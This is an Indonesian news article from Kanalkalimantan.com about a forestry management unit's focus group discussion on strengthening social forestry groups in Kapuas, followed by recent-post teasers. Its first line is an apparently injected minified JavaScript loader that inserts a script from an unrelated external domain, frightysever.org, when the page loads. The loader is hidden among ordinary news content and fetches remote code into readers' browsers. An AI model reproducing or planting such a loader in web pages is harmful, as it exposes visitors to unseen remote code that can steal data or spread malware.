(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

KPHL Kapuas Kahayan-LPHD Tumbang Mangkutup Gelar FGD Penguatan Kelembagaan Perhutanan Sosial Binaan


KANALKALIMANTAN.COM, KUALA KAPUAS – Unit Pelaksana Teknis (UPT) Kesatuan Pengelolaan Hutan Lindung (KPHL) Kapuas Kahayan menggelar Focus Group Discussion (FGD) penguatan kelembagaan perhutanan sosial binaan, Senin (2/6/2025).

FGD dilaksanakan di Ballroom Hotel Fovere, Jalan Pemuda, Kota Kuala Kapuas, dibuka oleh Kepala UPT KPHK Kapuas Kahayan, Miko Duwiter SHut MSi, diikuti penggagas Lembaga Pelita Hutan Desa (LPHD) Tumbang Mangkutup Suriato, Kepala Wilayah II Provinsi Kalimantan Selatan Benny Tomasila SP, dan Dinas Perindagkop Kabupaten Kapuas R Joko Trigowo.

Hadir sebagai peserta dari LPHD dan 11 kelompok Perhutanan Sosial (PS).

Baca juga: Perempuan Muda Terjerat Jaringan Narkoba, Polres Banjarbaru Dapati 10,3 Kg Sabu


Kepala UPT KPHL Kapuas Kahayan, Miko Duwiter, mengatakan bahwa tujuan kegiatan adalah sebagai penguatan kelembagaan untuk kelompok perhutanan sosial yang berada di wilayah KPHL Kapuas Kahayan dan 11 Perhutanan Sosial (PS).

“Harapan kita kedepan untuk mendorong kelompok perhutanan sosial  agar mempunyai wadah, serta mengakomodir kebutuhan dan keinginan masyarakat. Dalam pengembangan lembaga agar dapat membentuk usaha,” kata Miko.

Baca juga: Stok Hewan Kurban 25.752 Ekor, Disbunnak Kalsel Pastikan Sehat Sebelum dan Setelah Penyembelihan

Suriato penggagas LPHD yang juga Kepala Desa Tumbang Mangkutup mengatakan, perlu membangun kerjasama yang baik kepada semua perhutanan sosial  di Kabupaten Kapuas, untuk itu diperlukan dukungan dan energi untuk berkembang agar lebih baik.

“Tujuan kita adalah mengangkat semua permasalahan, hal yang terbentur dengan LPHD dan perhutanan sosial yang ada ini. Kedepan bisa membangun sebuah mekanisme bersama mendorong kembali untuk perhutanan sosial ini dapat berkembang,” jelas Suriato.(Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

4 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

7 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

13 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.